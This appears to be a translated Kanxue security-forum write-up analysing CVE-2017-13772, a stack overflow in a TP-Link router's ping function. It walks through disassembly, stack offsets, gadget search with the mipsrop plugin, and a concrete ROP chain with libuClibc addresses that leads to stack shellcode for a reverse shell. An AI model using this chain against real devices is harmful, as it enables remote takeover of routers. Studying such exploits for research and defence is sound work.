Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

1. Introduction

This article will analyze CVE-2017-13772 and summarize the general approach to exploiting MIPS stack overflow.

Before reading, it is necessary to understand MIPS assembly related knowledge.

2. Causes of CVE-2017-13772 Vulnerability

CVE-2017-13772 is a stack overflow vulnerability in TP-Link, which is triggered when an overly long IP address is input in the ping function. Generally, we try command injection in the ping function, but TP-Link has done a good job in string filtering, rendering some special character inputs ineffective. Therefore, we can only explore overflow-type vulnerabilities here.

IDA search to locate the string:

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

loc_453CE8:
la      $t9, httpGetEnv
addiu   $a1, (aPingAddr - 0x570000)  # "ping_addr"
jalr    $t9 ; httpGetEnv #http server gets the value of ping_addr field through httpGetEnv(ping_addr)
move    $a0, $s5
lw      $gp, 0x70+var_58($sp)
la      $a1, aDotype     # "doType"
la      $t9, httpGetEnv
move    $a0, $s5
jalr    $t9 ; httpGetEnv
move    $s6, $v0       #httpGetEnv(ping_addr) returns value in v0, before the above instruction executes, it will be saved in s6
lw      $gp, 0x70+var_58($sp)
la      $a1, aIsnew      # "isNew"
la      $t9, httpGetEnv
move    $a0, $s5
jalr    $t9 ; httpGetEnv
move    $s3, $v0
lw      $gp, 0x70+var_58($sp)
beqz    $s6, loc_454640
move    $s0, $v0

Next, track the s6 register, click to keep looking down, until here we find the call to s6 ipAddrDispose ($s6)

la      $t9, httpGetEnv
la      $a1, aTrhops     # "trHops"
jalr    $t9 ; httpGetEnv
move    $a0, $s5
lw      $gp, 0x70+var_58($sp)
nop
la      $t9, atoi
nop
jalr    $t9 ; atoi
move    $a0, $v0
lw      $gp, 0x70+var_58($sp)
move    $a0, $s6
la      $t9, ipAddrDispose   #ipAddrDispose($s6)
nop
jalr    $t9 ; ipAddrDispose
move    $s1, $v0
lw      $gp, 0x70+var_58($sp)
beqz    $v0, loc_454280
move    $v1, $v0

Follow up with ipAddrDispose

Next, analyze ipAddrDispose

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit SummaryAnalysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

The part where stack overflow occurs in ipAddrDispose is roughly disassembled as follows:

void ipAddrDispose(char * pingaddr):
{
    char pingaddr_tmp[0x33] = {0};

    int len = strlen(pingaddr);
    memset(pingaddr_tmp,0, 0x33);
    int i=0,j=0;
    for(; i<len;i++)
    {
        if(pingaddr[i]!=' ')
        {
            pingaddr_tmp[j]=pingaddr[i]   // This is where the stack overflow occurs
            j++;
        }
    }
    strcpy(pingaddr, pingaddr_tmp);// This just copies the string back to pingaddr after removing spaces
    ..........
}

From the beginning of the function, we can analyze the stack structure as follows:

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

From the stack structure, we can know that we can ultimately control s0, s1, ra, and we can know the offset we are overwriting, pingaddr=’A'(0xAC-0xC)+ s0+s1+ra,pingaddr=’A’0xA0+ s0+s1+ra,.

3. Exploitation of CVE-2017-13772

3.1 MIPS Exploitation Process

MIPS exploitation first requires sleep(nS) to update the code cache, then the code on the stack can be executed correctly.

If you want to run a reverse shell, you can roughly think of the following process:

Set a0=1, jump to the sleep function

Get the address of the stack, jump to execute the code on the stack.

3.2 MIPS Jumping

In MIPS, there are ways to jump:

① Set the register t9 and jump to register t9. For example:

move    $t9, $s0
jalr    $t9 ;

② Before executing the function func, save the address to jump to (address) in the ra register. After executing the function func, it can jump. For example:

move    $t9, $s0             ;function f()
lw      $ra, ``0x20``+``var_4($sp)  ``#nextcall=address
lw      $s0, ``0x20``+``var_8($sp)
li      $a0, ``2
li      $a1, ``1
move    $a2, $zero
jr      $t9 ;                ;after executing f(), jump to address
addiu   $sp, ``0x20

3.3 Exploitation

Find components in libuClibc-0.9.30.so

#0. The first step is to override registers s0, s1, ra, set s0 to the address of sleepaddr, and set ra to addr0 (0x2AB2E97C)
#1. Jump to addr0 (0x2AB2E97C) to execute
move    $t9, $s0              #set t9 to sleepaddr
lw      $ra, ``0x20``+``var_4($sp)  #get data from stack, set ra=addr1
lw      $s0, ``0x20``+``var_8($sp)  #get data from stack, set s0=addr2
li      $a0, ``2 #set sleep parameter to 2
li      $a1, ``1
move    $a2, $zero
jr      $t9 ; #jump to execute sleep(2s), return to addr1
addiu   $sp, ``0x20
#2. addr1
addiu   $s2, $sp, ``0x198``+``var_180   #s2 points to the stack
move    $a2, $v1
move    $t9, $s0   #t9=s0
jalr    $t9 ;      #jump to addr2
#3. addr2
move    $t9, $s2   #jump to execute on the stack
jalr    $t9 ;
evil_pingaddr ="A"*160 +sleep_func_addr+"AAAA"+addr0+
    "B"*0x18+addr2+addr1+nop*0x20+reverseshell_shellcode

Currently, I do not have the device to verify, but there should be no major issues.

3.4 How to Find These Components, What is the Approach?

First, we need to understand: 0. Data comes from the stack; 1. What registers can we control at the first step; 2. What is the ultimate goal; 3. Each time we construct, we need to control the next jump.

0. Data comes from the stack, which means that the data source for subsequent operations is the stack, which includes jump addresses and parameters.

① What registers can we control at the first step: Through the analysis of the overflow function assembly, we can know that we can control s0, s1, ra.

② What is the ultimate goal? sleep(nS) ->

reverseshell. For sleep, please refer to the article http://xdxd.love/2016/12/09/%E4%B8%80%E4%B8%AAmips%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8/.

③ Each time we construct, we need to control the next jump: As mentioned earlier, set t9 or ra.

3.4.1 Basic Operations of MIPSROP Tool

Installation

Download mipsrop.py and place it in C:\Program Files (x86)\IDA 6.8\plugins https://github.com/devttys0/ida/tree/master/plugins/mipsrop

Open a MIPS program and open the plugin:

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

mipsrop.help()

Check which commands are available

mipsrop.find(instruction_string)

Can find many custom instructions

Locates all potential ROP gadgets that contain the specified instruction.

@instruction_string - The instruction you need executed. This can be either a:

            o Full instruction    - "li $a0, 1"
            o Partial instruction - "li $a0"
            o Regex instruction   - "li $a0, .*"

mipsrop.system()

Used to execute the system() function

mipsrop.doubles()

As follows: If you can control multiple registers s0 s1 s2 s3, you need to call multiple times (not used, based on the print results, its function can be roughly deduced), you can use this. Here are all jal or jalr, similar to x86 call (which saves the address of the next command to ra) (jr is similar to jmp).

LOAD:000402D0                 move    $t9, $s0
LOAD:000402D4                 jalr    $t9 ; strlen
LOAD:000402D8                 lw      $a0, 0x4C0+var_400($fp)
LOAD:000402DC                 lw      $a1, 0x4C0+var_400($fp)
LOAD:000402E0                 addiu   $a2, $v0, 1
LOAD:000402E4                 move    $t9, $s1
LOAD:000402E8                 jalr    $t9 ; write
LOAD:000402EC                 move    $a0, $s3
LOAD:000402F0                 move    $t9, $s0
LOAD:000402F4                 jalr    $t9 ; strlen
Prints a list of all "double jump" gadgets (useful for function calls).

mipsrop.stackfinders()

Puts the address of the stack into the register, then can run on the stack.

Prints a list of all gadgets that put a stack address into a register.

mipsrop.tails()

Tail instructions can store data from the stack to ra and other registers, expanding the controllable registers, for subsequent jumps and parameter settings.

Because at the end of MIPS functions, the assembly is all like this:

loc_42224:
lw      $ra, 0x30+var_4($sp)
lw      $s4, 0x30+var_8($sp)
lw      $s3, 0x30+var_C($sp)
lw      $s2, 0x30+var_10($sp)
lw      $s1, 0x30+var_14($sp)
lw      $s0, 0x30+var_18($sp)
jr      $t9
addiu   $sp, 0x30
Prints a list of all tail call gadgets (useful for function calls).

mipsrop.set_base()

For example, if you are looking for components in libuClibc-0.9.30.so, set the base address of this so in the main program, which makes writing the exploit easier. Regarding how to find the loading address, you can connect to hardware TTL (some cannot reach shell), modify the firmware, log in through other vulnerabilities, or run the main program in QEMU system mode (as long as it runs, it’s enough). The command is cat /proc/$pid/maps.

Set base address used for display

mipsrop.summary()

Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".

The mipsrop tool provides specific functions for exploiting MIPS vulnerabilities. As long as one has learned the basics of MIPS assembly and MIPS function calling process, it is easy to understand the function of each component.

3.4.2 Thought Analysis

We find components in libuClibc-0.9.30.so, its loading base address is 0x2aae2000, execute the command Python>mipsrop.set_base(0x2aae2000)

We can control s0, s1, ra.

First, the goal is to execute sleep: 1. Set parameters 2. Jump to execute sleep mipsrop.find(“li $a0, 1”), of course, you can also mipsrop.find(“li $a0, .*”) as shown in the figure:

Python>mipsrop.find("li $a0, 1")

| Base + Offset = Address | Action | Control Jump |

| 0x2AAE2000 + 0x00029244 = 0x2AB0B244 | li $a0,1 | jalr $s4 |
| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |
| 0x2AAE2000 + 0x000202D0 = 0x2AB022D0 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C140 = 0x2AB1E140 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D034 = 0x2AB1F034 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D57C = 0x2AB1F57C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D62C = 0x2AB1F62C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4 | li $a0,1 | jr 0x58+var_4($sp) |

Next, consider the next jump. Since we can control s1, we look at

| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |

Python>mipsrop.find("li $a0, 1")
-------------------------------------------------------------------------------------------------------------------------------------------
|  Base       + Offset     =  Address       |  Action                                              |  Control Jump                          |
-------------------------------------------------------------------------------------------------------------------------------------------
|  0x2AAE2000 + 0x00029244 = 0x2AB0B244     |  li $a0,1                                            |  jalr  $s4                             |
|  0x2AAE2000 + 0x00055C60 = 0x2AB37C60     |  li $a0,1                                            |  jalr  $s1                             |
|  0x2AAE2000 + 0x000202D0 = 0x2AB022D0     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003C140 = 0x2AB1E140     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D034 = 0x2AB1F034     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D57C = 0x2AB1F57C     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D62C = 0x2AB1F62C     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4     |  li $a0,1                                            |  jr    0x58+var_4($sp)                 |

IDA script area Click offset 0x00055C60, IDA can jump to the specified area.

LOAD:00055C60                 li      $a0, 1
LOAD:00055C64                 move    $t9, $s1
LOAD:00055C68                 jalr    $t9 ;

If ra is set to 0x00055C60+0x2AAE2000 , s1 is initially set to sleep, it can execute sleep(1), of course, there will be no follow-up.

If we can set ra before executing sleep, we can jump to the address ra after executing sleep, so now we need to set ra after the first jump, and then execute sleep(nS).

Set registers from the stack, using mipsrop.tails() to find.

The author chose loc_35840, this part is a bit convoluted. Initially, s1 is saved to t9, and s1 currently points to loc_35840, so there will be another jump to loc_35840. During the first jump, s1 is set through the stack, allowing the second jump to the desired location.

loc_35840:
move    $t9, $s1
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28
 # End of function sub_357E0

The process is: initially $s1 = loc_35840, then execute twice:

move    $t9, $s1                 
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)    #set s1=newaddr=sleep
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28               #sp+=0x28
move    $t9, $s1                #t9=newaddr=sleep
lw      $ra, 0x28+var_4($sp)    #set ra
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9                     #jump to sleep, here is jr, so after executing sleep it will return to ra
addiu   $sp, 0x28               #sp+=0x28

The process of jumping from the initial overflow to executing sleep and jumping to the new address NextJUMP(RA) is as follows (note the changes in the sp register):

# Initial overflow
lw      $ra, 0xE0+var_4($sp)
lw      $s1, 0xE0+var_8($sp)
lw      $s0, 0xE0+var_C($sp)
jr      $ra
addiu   $sp, 0xE0

# First jump
li      $a0, 1
move    $t9, $s1
jalr    $t9 ;

# Execute sleep(a0), and jump to the new address
move    $t9, $s1                 
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)    #set s1=newaddr=sleep
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28               #sp+=0x28
move    $t9, $s1                #t9=newaddr=sleep
lw      $ra, 0x28+var_4($sp)    #set ra
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9                     #jump to sleep, here is jr, so after executing sleep it will return to ra
addiu   $sp, 0x28               #sp+=0x28

ping_addr=0xA0‘A’+setS0+setS1+SetRA+0x20’A’+sleepaddr+0x28*’A’+NextJUMP(RA)

Finally, the sleep parameter is no longer 1, and there is still room for improvement in the entire exploit.

At this point, we have executed sleep and are ready to jump to the new address NextJUMP(RA). At this time, we can control ra, s1, s0.

After executing sleep(nS), we can control the next jump, achieving the current goal.

The next goal is to jump to execute on the stack.

It can be thought that we first need to store the address on the stack into a register, and then jump to execute the shellcode in the register, which will require mipsrop.stackfinders().

The author chose 0x000164C0 because it can set s2 to point to the stack address, and since s0 is controllable, jumping from s0 is also controllable.

| 0x2AAE2000 + 0x000164C0 = 0x2AAF84C0 | addiu $s2,$sp,0x198+var_180 | jalr $s0

addiu   $s2, $sp, 0x198+var_180
move    $a2, $v1
move    $t9, $s0
jalr    $t9 ;

Set s2 to point to the stack address, so the next step is Python>mipsrop.find(“move $t9,$s2”)

-------------------------------------------------------------------------------------------------------------------------------------------

| Base + Offset = Address | Action | Control Jump |

-------------------------------------------------------------------------------------------------------------------------------------------

| 0x2AAE2000 + 0x000118A4 = 0x2AAF38A4 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x00011E84 = 0x2AAF3E84 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001E910 = 0x2AB00910 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001E93C = 0x2AB0093C | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001E9B8 = 0x2AB009B8 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001E9E0 = 0x2AB009E0 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001EA08 = 0x2AB00A08 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001EA30 = 0x2AB00A30 | move $t9,$s2 | jalr $s2 |

| 0x2AAE2000 + 0x0001EA58 = 0x2AB00A58 | move $t9,$s2 | jalr $s2 |。。。。

The final result, where the changes in sp need to be carefully considered.

nop = “\x22\x51\x44\x44” gadg_1 = “\x2A\xB3\x7C\x60” gadg_2 = “\x2A\xB1\x78\x40” sleep_addr = “\x2a\xb3\x50\x90” stack_gadg = “\x2A\xAF\x84\xC0” call_code = “\x2A\xB2\xDC\F0″

def first_exploit(url, auth):

rop = "A"*164 + gadg_2  + gadg_1 + "B"*0x20 + sleep_addr
rop += "C"*0x20 + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode

Compared to mine, it may be more complex, but the thought process is actually clear and logical. I found some useful components which made it appear simpler.

4. Conclusion

When writing MIPS exploits, one should understand what is controllable, what the goals are, how to connect each step, and construct the entire exploit based on the characteristics of the MIPS architecture. Searching for components can be done through various means, whether by finding shortcuts or compensating for what is lacking. The writing is rushed; if there are mistakes, please correct them.

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

– End –

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

Kanxue ID:Ai Zhonghua UpTTT

https://bbs.pediy.com/user-847726.htm

This article is original by Kanxue Forum Ai Zhonghua UpTTT

Please indicate the source from Kanxue Community when reprinting.

Popular Book Recommendations

ClickAnalysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary Buy Now!

Popular Articles to Read

1、Tcache Exploit Summary

2、SandHook Fourth Edition | Android Q Support & Inline Special Handling

3、Kanxue Course | Detailed Explanation of LLVM Compilation Framework

Analysis of CVE-2017-13772 and MIPS Stack Overflow Exploit Summary

Official WeChat ID: ikanxue

Official Weibo: Kanxue Security

Business Cooperation: [email protected]

Click below “Read Original”

Leave a Comment